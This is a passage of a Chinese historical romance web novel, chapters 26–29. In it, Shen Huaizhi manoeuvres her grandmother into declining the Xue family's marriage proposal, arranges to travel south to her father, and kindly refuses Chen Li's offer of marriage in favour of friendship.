眼底映照的星河里,恍惚间闪过她的笑意,他看着她眸光湛湛,一往无前,他看着她眉目温婉,言笑晏晏,似乎他认识她之后的每一个瞬间,都有可以回味的美好记忆。 这就是动心的滋味吗? 陈理低头闭目,听胸腔里自己的心跳一声重似一声,幻想之中的沈怀栀,似是察觉到他的视线,朝他微微一笑。 一瞬间,他听到了春暖花开的声音。 他想,如果这就是动心,是其他人所说的开了情窍的话,那他很欢喜那个人是七姑娘。 所以,他觉得自己可以试试,试一试去求亲,至少,最差最差,他应该不会像玄章那样,得来她漠然又冷淡的眼神。 进一步为妻,退一步为友,这把,他自问赌得起。 第26章 第26章—— 沈府这两天有些热闹,单以沈怀栀的感觉而言。 前一天回府时她听说陈理来府上拜见,看了兰花后还同老夫人聊了一会儿,虽然坐的时间不算长,但也算是位难得的贵客。 关于陈理,老夫人同她谈时没说更多,只说让她最近用心讨好文谦先生,若是能同沈家牵上线再好不过,她大房的兄长学业有所成,很需要一位名师指导。 沈怀栀虽没给出承诺,却放了诱饵,答应求得先生同意之后会为其牵线搭桥代为引见,总之,在充分把握老夫人心情的前提下,为自己谋得了足够的周旋时间。 倒是第二日登门的客人,有些出乎意料且措手不及。 听说薛家那位太夫人正式登门时,已是晚上,白天沈怀栀不在府中,并不清楚两人谈了什么,但显见的,这场会面让老夫人心情格外不错,以致于沈怀栀来见她时,对方嘴角都带着几分志得意满笑意。 “栀姐儿来了。”老夫人招呼她,“快来祖母身边,咱们祖孙说说话。” 沈怀栀从老夫人这番作态中感受到了一种不怀好意,每当她这位祖母待她格外亲切时,背后总带着要将她利用殆尽的算计。 “祖母看起来心情不错,”她顺势直入主题道,“是因为薛太夫人登门拜访一事吗?” 老夫人神情一顿,目光颇含深意的道,“栀姐儿聪慧,深知祖母心意。” 沈怀栀笑笑,没有继续追问,她倒要看看,薛家和她这位祖母在打什么算盘。 有时候,老夫人是很满意孙女这副稳重姿态的,但若是这番姿态用在和她的交锋对峙上,她又会无可避免的感到厌恶,毕竟,太容易让人想起她那个抢走自己儿子的母亲。 但大事当前,她无视那些小节,以一句话为开场白,“薛太夫人登门,是为了求亲之事,这次,薛家诚意满满,给出了极大让步,祖母觉得薛家有心,正在考虑如何回复。” “什么诚意能够打动祖母,我很好奇。”沈怀栀道。 提及薛家的诚意,老夫人面上笑意深深,“关于你兄长叔伯他们进学为官之事。” 只这一句话,无需更多解释,沈怀栀就明白薛家付出的诚意是什么了。 对她这位一心光复沈家昔日荣光的祖母来说,再没有什么比儿子们 加官进爵孙子们求学有成更能打动她的筹码了,薛家确实走了一步好棋。 以薛琮本人而言,也确实算是为婚事下了血本,倒不是说老夫人想要的这些太难做或者做不到,纯粹是这个让步违背了他素日的性情与行事准则,至少对尚且年轻的薛琮来说是如此的。 等再过些年,他在政治权势的争斗漩涡里浸淫出成熟老辣的心性,再看今日,当真是不值一提的小事。 总归,薛琮待沈家虽有几分尊重,但也仅仅只有作为岳家的尊重了,至于沈家其他人,一向不太得他心意,就算她那位政绩不俗的父亲也是如此。 现在,沈怀栀品味着薛家的诚意,看向老夫人,平铺直叙道,“所以,祖母被薛家的诚意打动了。” “当给出的价码够高时,谁都会心动,”老夫人淡淡道,“我会,你也会,人人皆是如此。” “确实。”沈怀栀没否认,“薛家给出的诚意确实很足,我猜祖母已经想要应下婚事了,两家联姻本质上就是利益交换,这没什么不好的,但如果,薛家给出的这份诚意,需要沈家付出更大的代价呢?” “我猜,祖母根本没想过,这份诚意的背后,是以父亲的仕途为代价。” 这话一出,老夫人立时变了脸色,“栀姐儿,你这话是什么意思?薛家来求亲和你父亲又有什么关系?” 薛家用老夫人最在意的家族事业与儿孙前途来打动她,确实是好手段,但很不巧,这种手段她也会用。 打蛇打七寸,同一条蛇,同一个七寸,端看谁准头更高了,而她比起薛琮,约莫是多了那么一点点胜算的。 对老夫人,沈怀栀从来不是什么有求必应之人,这会儿纵然被对方的森森目光盯着,她依旧能气定神闲不动如山。 “栀姐儿,你想说什么就说吧,”老夫人道,“祖母自问是个明理之人,若你说的有道理,这桩婚事即便不成也无碍。” “祖母的深明大义孙女自是知晓的,”沈怀栀笑道,“像我们年轻人,天真不知事,总喜欢靠着一腔偏执意气做人做事,只得看到眼前方寸之地,不像祖母你们这些长辈,成熟明理,凡事通透,看的是长远利益。” 虽然不喜孙女的态度,但至少这话不算难听,老夫人面色多少算是好了两分,但也只有两分而已,她对眼前沈怀栀这番作态,依旧是不满意的。 “你近日当真是比从前稳重成熟多了,”老夫人夸奖道,“若我是薛家老夫人,只怕也要费尽心思聘你为薛家妇的。” 毕竟,若非是看到了孙女这般优秀,薛家何必出那么大血,总归不能是世子被孙女迷昏了头非卿不娶吧,饶是老夫人再看好沈怀栀,也生不出这么个荒谬的念头来。 “大约是我最近想明白了一些事吧,”沈怀栀道,“从前小的时候太冲动想得太少,所以跌了个大跟头,人跌得头破血流之后,自然要回头想一想自己曾经犯过什么错。” 孙女一番话说得云里雾里,老夫人其实不太有耐性听她那些酸话,但现在对方既然摆架子卖关子,她若是想要答案,就得老实听下去。 “凡事能想明白就好,”老夫人安抚道,“人最怕钻了牛角尖,死也不肯回头,祖母活到现在这般年岁,见过太多人深陷泥潭不肯自救的模样,有时候不止不肯自救,还要将伸出援手的人一同拽入泥潭,所以老话说,可怜之人必有可恨之处,也是有几分道理的。” 安抚过后,老夫人又道,“你断了对薛世子的心意,说起来不算坏事,薛家来求亲,按说沈薛两家联姻也算珠联璧合,是一桩极好的婚事,栀姐儿你为何说于你父亲仕途有碍呢?” 作为沈家的中流砥柱,老夫人心中再度振兴沈家的最大希望,沈怀栀父亲的仕途好坏可谓是老夫人放在心尖尖上的牵挂,但凡有一点威胁,她都必要清除的。 沈怀栀不再卖关子,而是直接申明利害,“我清楚祖母看重薛家的本意,世子也确实备受圣人信重,如果不是父亲孤悬在外,这本该是一桩极好极划算的婚事。” “确实如此。”老夫人道,“女子的婚事本就要为家族服务,且薛家也是不错的人家,世子本人天资纯粹,这桩婚事并不算辱没你。” “正是因为世子出类拔萃,受圣人宠爱信重,所以才麻烦,”沈怀栀压低声音轻声道,“祖母也知道,圣人年岁渐长后,性情越发孤僻偏激,残暴多疑,对诸位皇子们的防备一日胜过一日,除此之外,对朝堂重臣们的赏罚压制也愈发苛刻随心,只说这几年,京中多少人家换了门楣,祖母也是知晓的。” 闻言,老夫人眉头紧皱,“你继续说下去。” “圣人虽说待皇子们和朝臣们苛刻,但也并非孤家寡人,”沈怀栀道,“世子对圣人忠心不二,圣人器重世子,少有疑虑,二人可谓是君臣相得,在京中也称得上是一段佳话。” 老夫人似乎有些明白沈怀栀的意思了,正因为明白,她才心生惊疑,她这个孙女,本事似乎愈发大了,现在居然都敢论及朝政了。 沈怀栀依旧面色如常,只是道,“圣人现在虽性情不定,但身体却还算好,以如今的局势,世子越是被陛下看重,越是被陛下用的得心应手,就越是会招致皇子们的忌惮与厌恶,即便他们私底下手段尽出,千方百计想要拉拢,但侯府日后依旧改不了被过河拆桥兔死狗烹的结局。” “所以,这桩婚事看起来是没什么不好,但对父亲而言,世子在圣人面前得力一天,他回京的可能性就越小,沈薛联姻,两家一荣俱荣一损俱损,皇子们捏不动薛琮这块硬骨头,但摆弄沈家的本事还是有的,父亲作为沈家的顶梁柱,怕是首当其冲会遭殃。” 听到这里,老夫人已经面色铁青,她已经察觉自己在栀姐儿婚事上犯的错,现在她不止庆幸婚事未成,恐怕还要竭尽全力撇清与薛家的关系了,否则,孙女那些猜测不日将会成真。 “祖母,京中因为圣人和皇子们的争斗已经闹得天翻地覆,父亲现在虽然长久的辗转地方,但未必不是避开争斗的契机,梧州偏远,父亲也未曾被逼得站队哪位皇子,这已经是最好的局面了。” 沈怀栀起身躬身行礼,温言道,“我虽然是个不懂事的不孝女,却也不想父亲一直无法承欢您的膝下,更重要的,我清楚父亲为官的抱负,也希望父亲的抱负能得到施展,如今我从文谦先生那里寻得契机,若是不出意外的话,父亲或许可以早日顺利回京。” “栀姐儿,你成功说服祖母了。”老夫人叹了口气道,“与薛家的婚事,好似确实不成最好。” “这些只是孙女的一点猜测与妄断,祖母愿意相信,无非是太过担忧父亲,”沈怀栀笑道,“儿行千里母担忧,祖母对父亲的拳拳之心,令人动容。” 这话大约是哄到了老夫人心尖上,她面色好歹没那么沉重了。 见状,沈怀栀微微一笑,“祖母,其实我也有自己的一点私心的。” “哦,说来听听。”老夫人当然知道孙女有私心,但前提是这份私心不损及沈家的利益,至少现在看来,是没有的。 “之前我偶然听到世子说,他想娶的是相敬如宾的贤妻良母,可我想嫁的却是两情相悦的如意郎君,”沈怀栀状似羞涩的笑了笑,“孙女觉得,我们不是一路人,没有成为夫妻的缘分。” “至高至明日月,至亲至疏夫妻,年轻小姑娘的想法总是这么天真,”老夫人道,“等你到了祖母这个年龄,就知道所谓风月情爱不值一提了。” 刚才还觉得栀姐儿洞明世事通透聪慧,结果还是放不下她那颗痴缠情爱的心,老夫人心中不免生出一点惋惜与轻视。 沉浸情爱的姑娘,十个中 九个没有好下场,另外那个,要么更惨要么是万中无一的幸运,总之,赌男人的情爱还不如赌太阳从西边升起来。 沈怀栀没反驳老夫人的话,而是说了自己难得的真心话,“如果我想的话,我大约也是能做好一个贤妻良母的,可是从本心而言,我并不想做那样的人。” 年轻姑娘的声音里透着股难得的坚定,“我期望能有一个人,和我彼此心意互通相知相伴,纵然时间短暂,对我而言,也是宝贵的值得珍藏的回忆与情意。” “至于薛琮,不管从前还是现在,他都不是我想要的那种人,”沈怀栀淡淡道,“他野心勃勃,心里装着太多东西太多事,性情又冷漠薄凉,这样的人不适合我。” “仔细想想,若我们两个强行凑到一起,两个人都痛苦,而我,会是这桩婚姻里最痛苦的那个人,”她抬头对老夫人笑了一笑,“您看,若是从前的我,一定会为自己的天真无知和愚蠢付出代价。” 而那时的她,别无选择。 难得的,老夫人因为沈怀栀这番话生出了几分感伤,大约是因为她也曾经有过天真纯粹的少女时光,所以能体会她话语里的那些痛苦。 只可惜,真情被辜负是这世间最寻常之事,甚至不值得多叹惋两分。 “祖母,我看到了自己的未来,所以,我不想要过那样的生活。”沈怀栀说。 不管是嫁给薛琮还是其他任何人,那样的生活她都不想要,而她,现在已经有了掌控自己命运选择自己生活的能力。 难得心有所感的老夫人,被触动心肠之后,也少见的有了一二分真切慈爱,“看来你是打定主意了。” “请祖母成全。”沈怀栀躬身行礼。 最后,老夫人在短暂沉默过后说,“我考虑看看。” 第27章 第27章—— 老夫人说是考虑看看,但沈怀栀很清楚,她心底其实已经有了决定。 她倒无所谓是否能真正说服祖母,毕竟她的本意不过是拖延时间,看起来分析利弊时她说的头头是道,但真论起来,这其中其实有许多空子可钻,若是老夫人能当真冷静下来仔细思虑的话,大概就会心生犹豫了。 事实上,薛家确实是个极好的联姻对象,薛琮本人也的确能为沈家带来助益,若非如此,不会有那么多人家对永嘉侯府的婚事这么趋之若鹜,毕竟大家又不是傻的。 她现在需要的,无非是老夫人迟疑犹豫的这段时间。 于是,临离开前,沈怀栀又为自己加了份筹码,“祖母,与其赌一个不知前路如何的未来,何不直接选择摆在眼前的这条一劳永逸的路。” “薛世子无非是想要一个合适的妻子人选,我觉得,如果如果两家想要继续联姻的话,沈家一定有比我更为适合的人选。” 闻言,老夫人面上生出了悟,“听起来有几分道理。” 沈怀栀笑笑,朝老夫人福身后,转身离开。 你看,这就是她那位好祖母啊,总是在权衡之中左摇右摆,生怕错失任何一点利益。 不过,也正是因为这样,才更容易被人捏到软肋,方便她将一切尘埃落定。 荣辉堂里,原本在两个出色人选之间来回犹豫的老夫人,有些可惜被迫放弃的永嘉侯府,她倒是想将其他孙女嫁进侯府呢,只可惜无论是薛太夫人还是世子都不见得能看上家里其他姑娘。 薛家一旦出局,那现在就只剩下陈家了,陈理看起来似乎是当下最好最合适的人选,老夫人心说,现在就看那位陈公子行动力到底如何了,只希望,他对栀姐儿的心意,当真是有那么纯粹。 *** 就在沈怀栀婚事悬而未决,大家都在等消息时,来自南边梧州的信件,先一步送到了老夫人手里。 这封信到底写了什么,除了老夫人本人之外,无人知晓。 但很清楚的一点是,在接到来自二儿子的信之后,有关沈怀栀的婚事被暂时搁置了。 “文谦先生……”老夫人对身旁的李嬷嬷道,“栀姐儿确实找到了一个很好的靠山,到底,我还是小看我们家七姑娘的能耐了。” 见自家主子面色怪异,李嬷嬷不敢掉以轻心,小心斟酌着道,“先生文名广传天下,若家里的公子和姑娘们能得先生青睐,那是极好的事。” 至于七姑娘,李嬷嬷此时并不敢随意评判,在老夫人心思未明之时。 “确实极好,”老夫人幽幽道,“就是有些太好了,反而让我开始看不清我们家里这位七姑娘是个什么路数了。” 这话李嬷嬷不敢接,不过也不用她接,因为很快,春芜院的七姑娘就来荣辉堂拜见祖母了。 面对站在厅堂中问安的孙女,老夫人此时却一改往日慈爱,并未出声招呼,任由人就那么不尴不尬的站在那里,反倒是颇有闲情逸致的开始品评起茶盏中的春茶。 沈怀栀自从知晓南边的信送回来后,一颗心就彻底落了地,即便眼前老夫人毫不客气的将她晾在这里,也影响不了打从心底生出的好心情。 于是,她笑意盈盈的开口道,“祖母,父亲千里迢迢送信入京,想是写了不少惦念之语,祖母见到父亲的信应当很开心吧。” 正专心品茶的老夫人动作一顿,她目光森森的看着自己这个手段不俗的好孙女,缓缓道,“是啊,祖母很开心,开心自己有个主意极正的好孙女。” 闻言,沈怀栀微微一笑,不卑不亢的道,“都是有赖祖母教导,孙女都是跟您学的。” 茶盏被放在桌上,发出不轻不重声响,旁观全程的李嬷嬷却眼皮子一跳,直觉老夫人这会儿是真生气了。 “你们都下去吧,”老夫人挥挥手道,“我同栀姐儿说些贴心话。” 很快,厅堂内的丫头们流水般退下,就算是一向受老夫人看重的李嬷嬷,也悄无声息的迅速退下,关好门后自己守在门外。 “栀姐儿,你可真是给了祖母好大一个惊喜啊!”老夫人不阴不阳的道,“我还是头一次知道,我们家七姑娘有这样大的能耐,不止能做天下闻名的文谦先生的弟子,还能左右你父亲的仕途,当真是不鸣则已一鸣惊人。” “祖母过奖了,”沈怀栀面上笑意不改,人依旧从容有余,“祖母不了解孙女,就像孙女也不了解祖母一般,毕竟,我从前也不知道祖母打算将我卖给其他人家做继室与侧室呢。” “你果真是知道的。”老夫人面色阴沉许多,“看来,那时候你确实是故意闹出那么些乱子的。” 自从沈怀栀痴恋永嘉侯世子闹出许多事端后,老夫人本想拿她做登天梯的打算就破灭了,现在再看,这确实是个聪明且有心机的孩子,关键是,她更沉得住气,这点才最为可怕。 “一半一半吧,”沈怀栀笑道,“不想被祖母利用是真,对世子的心意也是真,最多只能算是一箭双雕。” “确实是好谋算,”老夫人嗤道,“怎么,现在不装了,是觉得翅膀硬了祖母摆布不了你了?” “那倒不是,”沈怀栀摇头,“此前我背着您行事,早就触怒了祖母,现如今打开天窗说亮话,无非是因为不想耗费时间与精力在那些琐事上。” “祖母就算恼我又如何呢,总归我姓沈,是父亲的女儿,祖母的孙女,身上又担着父亲的仕途,您心中装着沈家的未来与父亲的前途,又不会逼我去死抑或者逼得我身败名裂,既然如此,又有什么好怕的呢?” “你倒是看得明白。”老夫人冷声道。 “也是祖母您老人家教得好。”这句话沈怀栀说得真心实意。 没错,她确实从老夫人身上学到了不少东西,现在正活学活用,顺便,亲手撕开老夫 人这张假面多有趣啊,正好一偿从前宿愿,为曾经的自己了结遗憾。 大事当前,老夫人不想和眼前这个牙尖嘴利的姑娘生气,她直接道,“你父亲回信里写的什么你应当清楚,说吧,你什么打算?” 至于将儿子的信给孙女看,老夫人却是未曾想过的,毕竟上面太多功利之语,以现在沈怀栀的性情,说不好是什么反应,总归节外生枝的事,还是不作为好。 “我要南下梧州。”沈怀栀道,“至于我的婚事,想来您和父亲自有安排。” “就这么简单?”老夫人皱眉确认,“你没有其他要说的了?” “没有,”沈怀栀摇头,“我只有这一个要求。” 见状,老夫人沉默许久才点了头,“看来你心意已决。” 沈怀栀笑笑,没说话,一副早有决断的模样。 “如果你南下,婚事必然会受影响,”老夫人突然道,“不提之前提亲的薛家,就说那位陈公子,你知道他对你有爱慕之心吧,我看你对他也并非无意,如果你坚持,你们必定会就此错过,这点你也清楚?” “我很清楚。”沈怀栀道,“祖母无需为我的婚事忧心。” 现在是她不想嫁人成亲,等她南下之后,只怕是沈家不舍得让她嫁出去便宜其他人家了。 “既然你清楚,那祖母就不再提了,”老夫人道,“一切前情因由你父亲已在信中说得清清楚楚,祖母也同意你父亲的安排,等京内事宜安排好,家里就会派人护送你南下去往梧州。” “至于到了梧州之后该做什么,你心里明白,到时候听你父亲的安排吧。” 沈怀栀乖巧应下,但老夫人已然不相信自己这个好孙女了,纵然她最终能为沈家谋利,她对这个自作主张的孙女的厌恶也无法消减。 等人离开后,老夫人一个人独处时,将儿子寄来的信件看了又看。 背后有文谦先生做靠山的沈怀栀,确实是一颗有贵重价值的棋子,正是因为有用,关系到儿子的仕途未来,所以才不能嫁在京城,日后她的婚事更是至关重要,不能随意定下。 家族的振兴需要沈怀栀这个人来襄助,一个年轻的小姑娘而已,纵然有几分瞒天过海的心机与手段,但若真想翻天,在宗族和亲族为大的时代,依旧无异于蚍蜉撼树。 既然儿子有更好的安排,要将人接到南方去放在身边,那她也不再插手栀姐儿的婚事,将这个有本事的姑娘留给她的父亲做升迁的筹码。 就是可惜,那位陈公子确实是个难得的佳婿,老夫人叹息,吏部侍郎陈家,当真是个极好的结亲人选。 现在,无论是那位薛世子还是这位陈公子,都被迫出局,和栀姐儿无缘婚事,老夫人只希望,她这个好孙女当真有儿子信里说的那些本事,不然错过这两桩婚事,是事后想想她都要痛彻心扉的程度。 至于被老夫人惦记的沈怀栀,在南下计划彻底定下之后,也接到了来自陈理的来信。 信中,她这位好友约她出门,说是有要事相谈,不出意外,她是清楚陈理想要说些什么的。 正好,南下之前,她也觉得他们彼此应当有一场开诚布公的谈话,只有彻底解决后患,她才能心无挂碍的离开。 第28章 第28章—— 陈理在决定向沈家提亲之前,最先约见的却是好友薛琮。 繁星满布的夜晚,在一处景致极好的临江酒楼上,两个几日未见的好友坐在了彼此对面。 “最近睡得不好?看你面色不太好。”陈理为好友斟了一杯酒,笑着道,“咱们两个好久没在一起喝酒了,虽然我很想不醉不归,但是考虑到我们薛大人日常公务繁忙,就只能遗憾收手了。” “不过,日后你要是娶亲,这喜酒我必是要喝个痛快的。” 薛琮先干脆饮下一杯酒,才回复好友,“有些扰人清梦的烦心事而已。” 至于怎么个烦心法,却不曾说。 “你今日请我,不只是为了喝酒吧,”薛琮转着手中的空酒杯淡淡道,“怀逸,你我相交甚久,对彼此的性情也算是有些了解,你今日这般举动,我总觉得来者不善,宴无好宴。” 虽说在陈理看来,自己并无歹意,但一想到待会儿将要谈的正事,他难得的,对好友的话生出了几分心虚。 他摸摸鼻子,不大自在的道,“不愧是金鳞卫统领,见微知著的本事非同一般。” 薛琮神色未动,只是道,“你我好友,有话不妨直说。” 陈理本来也没打算绕弯子,他清了清嗓子,用简简单单一句话做开场白,开启了今日这场谈话。 他说,“我打算,不日去沈家向七姑娘求亲。” 话音落,包厢里一片凝滞般的安静,唯有窗外流水潺潺声。 直言不讳说出心中所想的陈理,神色坦然目光沉静,显然并不是在开玩笑,而是真真切切的向好友表明自己对意中人的心意。 即便这个意中人在不久之前还是好友的爱慕者。 “你打算求娶沈怀栀?”许久后,薛琮沉声开口,面无表情的询问好友,“即便你清楚的知晓她曾经爱慕过我,而薛家现在也正同沈家讨论我们两个人的婚事?” “年轻姑娘心思万变,喜欢谁不喜欢谁远没有那么重要,”陈理笑意温和,“况且此前七姑娘已经更改了心意,玄章你不必再担心这份心意会成为你的困扰。” “至于婚事,两家婚事未成,自然也不会成为阻拦我求亲的阻碍。” 陈理一番话说得有条有理,显然思路清晰,早有准备。 “婚事未成只是你的想法,”薛琮突然道,“沈怀栀的心思并不能代表沈家的决定。” “确实,七姑娘的心思不能代表沈家的决定,”陈理一副认同模样,笑眯眯道,“但沈家不管做什么决定,却绝对不可能与七姑娘的心思背道而驰。” “你看起来好像很肯定很有把握?”薛琮指尖点了点桌案,眼神暗沉如墨,“我很好奇,能让你这么有信心的依仗。” 陈理舒朗一笑,“倒也称不上什么依仗,我只是相信七姑娘。” 相信他中意的姑娘在面对不想要的婚事时,有足够反抗的能力。 闻言,薛琮陷入长久的沉默之中。 陈理重新为两人添满了酒,他举起酒杯道,“玄章,我今日约你出来说这些,并不是为了炫耀抑或者挑衅,我只是觉得作为好友,当我打算向七姑娘求亲时,应当提前告知你一声。” 即便,有些事并不需要你同意。 在薛琮了然的目光中,陈理继续道,“我将这些说出来,就代表我的态度,我喜欢七姑娘,打算求娶她,从来都光明正大,从前我和她相处时坦坦荡荡,无愧于心,但此后,我怕是做不到问心无愧了。” “而你作为我的好友,不管你对七姑娘是何种心思,日后你们两人之间有没有夫妻缘分,我觉得,我们之间都需要一场开诚布公的交谈。” “与其说是开诚布公,不如说是趁势而为,”薛琮面无表情的道,“怀逸,你是在明白的告诉我,你希望我退上一步,成全你和她。” 这点陈理没否认,他道,“玄章,对于你而言,和薛家之间的婚事不过是合适,但对我来说,却是必须,我并不希望因为你我的关系影响七姑娘的选择,也不希望我们成为她的困扰。” “你这么贴心周全,是觉得自己一定会雀屏中选?”薛琮难得露出嘲讽之意,“还是说你们早有默契,心意相通?” 陈理定定的看着好友,突然问道,“玄章,我很想知道,你此时的刻薄言辞,是出于嫉妒,还是出于怀疑?” 闻言,薛琮缄默不语,陈理却轻声叹了口气,淡声道,“我很希望是出于怀 疑,这样我就能义正言辞的痛斥你对七姑娘和我清誉的质疑,来一招反客为主,从而占据有利形势。” “但很不幸,你不是。” 对峙的两个人,一个面无表情,一个面露苦笑,气氛僵持得不像话。 他们彼此都很明白,在今日之后,无论他们面上相处得多好,也不能掩盖两人因为一个姑娘心生嫌隙的事实。 即便牵扯其中的三个人其实都是无辜的。 “既然你我都有意,那就公平竞争吧,”最后,陈理坦然道,“不管最后你和我到底谁能如愿,抑或者我们都不能如愿,我都希望,七姑娘得到的是祝福,而不是困扰和麻烦。” 这番话说得实在是漂亮,就像陈理这个人,坦然自在又光风霁月,薛琮深知,自己永远成为不了这样的人。 所以,他会嫉妒,会钦佩,却绝不会成为第二个陈理。 薛琮,永远做不了正人君子。 *** 沈怀栀赴约那天,阳光极好。 因为前一天刚下过雨的关系,院中那从翠竹长势旺盛,一身叶片被雨水洗涤得凝碧流翠,带着生机勃勃的绿意招展张扬。 她经过翠竹时,脑海中突然冒出一个念头,这实在有点像陈理,于是,短暂的犹豫过后,沈怀栀亲手剪下一枝细竹,插在小口细颈瓶中,将之作为礼物带给了陈理。 当然,一同带去的,还有那株已经恢复大半的兰花。 花已经养好,接下来只需要细心照顾,就能顺利成活,而吏部侍郎家,显然不缺一个手艺精湛的花匠。 两人约着见面的地点是金光湖,为了这次会面,陈理专门租了一艘画舫,两层画舫静静的靠在岸边,等来了沈怀栀一行人。 “今日春色很好,七姑娘既然出来,正好赏一赏春光。” 陈理笑着将人请到画舫上,一路将沈怀栀领到二层甲板,上面视野好风景佳,还备好了她喜欢的茶水点心,总之细微之处尽显贴心。 两人面对面落座后,沈怀栀看向冬青,“你们去一楼休息吧,我同陈公子说些话。” 冬青最是知晓自家姑娘的心意,知道今日有正事要谈,当下便同其他人一起去了一楼。 当甲板上只剩两个人时,四目相对间,陈理忍不住笑意率先开了口,“我总觉得,七姑娘似乎知晓我今日打算说些什么。” “你也说是似乎了,”沈怀栀在春风里微微笑道,“陈公子不真正说出口说明白的话,我若贸然开口,反倒显得自己自作多情,恰巧,我是很不希望自己陷入那么尴尬的局面的。” “自作多情……”陈理品味着这几个字,轻笑出声,“这个词不适合七姑娘,倒是更适合用来形容此刻的我。” 说完,他有些无奈的叹一口气,“本来想在气氛正好时说些好听话逗七姑娘开心,这样我才好顺势开口,没想到一上来就事与愿违,不过,也不算太糟糕,至少该说的话我觉得自己还是能顺利说出口的。” 在沈怀栀的温和笑意中,陈理清了清嗓子,颇为正式的道,“我今日约七姑娘出来,是想向七姑娘表明心意,如果七姑娘允许,我打算不日去沈家登门求亲。” 至于求亲对象,远在天边近在眼前,正是他中意的心上人。 倾吐完心意的陈理就这样认真的看着沈怀栀,“关于这个请求,我想得到七姑娘的同意。” 听完所有的沈怀栀看起来有点惊讶,但不多,她没说同不同意,只是静静的坐在春风里,听着耳边湖水涟涟,许久都未曾说话。 虽说有些心焦答案,但相当耐得住性子的陈理也安静陪坐,一边煮茶,一边偶尔抬头看看眼前似乎有些走神的姑娘。 沈怀栀视线落在桌上细颈瓶里的青竹上,随风摇曳的竹子仿佛她那颗此时飘忽不定的心,心随风动,风停即止。 她很清楚自己是亲近陈理的,但这份亲近,却不代表要更进一步,事实上,从她重生回来后,就从未想过要和陈理在一起。 你看,她眼前这个年轻人纯粹坦然,有一颗宝贵的真心,却什么也不知道,而她早已不是年少时那个勇敢无畏的她,就像是一场不公平的交易,天平的两端放的根本不是同样的砝码,所以无法相较,无法比较,也注定了无法交易。 她想救他,想帮他,却唯独不想嫁给他,做他的妻子。 如果他是上辈子那个知道一切的陈怀逸,他求亲,她或许会答应,但很可惜,他不是,现在的他只是陈理。 所以,这辈子他和她之间,在两人再次相遇的那一刻开始,就注定了毫无可能。 虽然可惜,但沈怀栀却不会觉得遗憾,毕竟,上辈子的她早已尝够了这种滋味。 如今的沈姑娘,看似有着风华正茂的外在,但内里如何呢?她早已历经世事,成为了一个清醒理智又成熟的姑娘,即便她想,她也再做不到天真任性了。 曾经那个天真的,盲目的,只知道一往无前的她,消失在过去,留在现在的,是会认真对陈理道谢却绝不会同意的她。 于是她说,“你的心意我很感激,但很抱歉,我不能答应。” 陈理面上露出两分苦笑,“虽然早有预料,但听到之后,果然还是有点伤心。” 他轻声叹了口气,试图让自己的声音听起来不那么沮丧,“我可以问问,为什么吗?” 就算是搪塞哄人也好,他暂时需要一个理由来安慰自己。 沈怀栀没有直接回答,而是抬眼去看河岸,种满绿柳的岸边商贩行人往来如织,是一副日常且热闹的景象。 她抬手指向岸边的一个茶寮,问了陈理一个问题,“那里有一个带着两个孩子的妇人,如果是你,你会娶这样一个妇人吗?” 按理来说,这个问题着实有些莫名其妙,但因为问的人是沈怀栀,所以陈理不仅仔仔细细的看了,还认认真真的思考了一番,最后才摇头道,“恐怕是不会的。” 沈怀栀笑了笑,又继续道,“假如这个妇人有着如我一般的美貌,又有着非同一般的贵重身份呢?” 陈理虽疑惑,不解其意,但对于这个奇怪的问题还是认真给出了回答,“应该也不会。” 是啊,不会,沈怀栀心想,这就是我拒绝你的理由。 更何况…… 她看着眼前这个有着纯粹真心的年轻人,更何况,这时候的你并没有那么喜欢我,有没有我在你的人生里都不影响你活得好。 相反,过去正是因为牵扯到我,要帮我救我,所以你才屡遭磨难。 于是,沈怀栀问出了她的第三问,“最后一个问题,假如,假如我嫁给薛琮,和他生儿育女,夫妻关系不睦,有和离之意,那时作为侯门贵妇的我,你想娶吗?” 被一连三问的陈理,这时候已经意识到不妙,他大概似乎可能稍微有一点明白她问这些问题的目的,但同时又有更多的疑惑不解横亘心间。 “所以,你是不喜欢我的,也不可能嫁给我,对吗?”只能凭借自己单薄理解得出结论的陈理这么问道。 本来他应该是很失落很伤心的,奈何沈怀栀刚才的三连问实在匪夷所思,他所有心神都聚焦在那些问题上,失落反而被冲淡许多,甚至于现在情绪反倒比之前还要好些。 不得不说,也算是因祸得福了。 对于陈理的问题,沈怀栀没回答,很久之后,她才露出一点温柔宽慰笑意,“你知道的,我们是好朋友。” 是啊,好朋友,陈理心想,进一步为妻是不可能了,好歹还能退一步为友,至少比起好友薛琮,他现在的处境实在是好太多了。 春风拂过画舫,在两个年轻人之间留下微醺热意。 红泥小炉上水汽蒸腾,发出轻微声响,沈怀栀抬手为陈理斟了一杯热茶,抬手敬他,“祝我们的友谊,长长久久。” 陈理无奈一笑,也抬手举杯,“好,愿我们的友情,长长久久。” 总归,还有一份情是能长长久久的,这样一想,好像也不算太亏,陈理有些欣慰的想到。 等游湖之行结束后,两人分别时彼此情绪都还算不错,沈怀栀登上马车,将一颗年轻人的真心落在身后。 车马粼粼声中,她靠坐在车厢上闭目沉思,毫无疑问 ,她是爱陈怀逸的,那份爱意经过磨难打磨,时光洗练,是浓厚且纯粹的,因为深爱陈怀逸,所以无法嫁给眼前这个年轻的他。 同样境况里,不知道其他人会如何选择,但是她的话,正因为深爱,所以才想保持纯粹,才无法欺骗,才做不到随意越界。 毕竟,她不觉得一个心怀炽热情意的年轻人想娶的是一个成过亲还有两个孩子的中年妇人。 纵然外表年轻,但过去的经历造就了现在的她,虽然她不觉得自己有哪里不好,也不觉得年长之人不配得到年轻人的情意,但是,这些人里不会有她。 沈怀栀,总有独属于自己的坚持。 第29章 第29章—— 四月十三,沈家正式回复了永嘉侯府的提亲,这个原本该是上辈子两家人定下亲事的日子,薛家这里收到的,却是沈家的拒绝。 “提亲被彻底拒绝,就目前来看,是毫无希望了,”厅堂内,安坐在主位的太夫人对孙子道,“沈老夫人透露,七姑娘的双亲虽然远在梧州,但对家中女儿的婚事却另有打算,作为祖母,她不好擅专。” 说实话,太夫人面色称不上好看,大概是没预料到薛家已经如此让步,却还是被沈家拒绝,若对方的回复模棱两可的话,她还能嘲讽一句沈家贪得无厌,偏偏对方是直言拒绝,想来其中确实有不得不拒绝的理由,至少,以她对沈老夫人的了解,这其中若是没有更大的利益,她绝对不舍得让步。 “玄章,你怎么想?”太夫人问道,“是就此换个联姻对象,还是依旧非沈七姑娘不娶?” 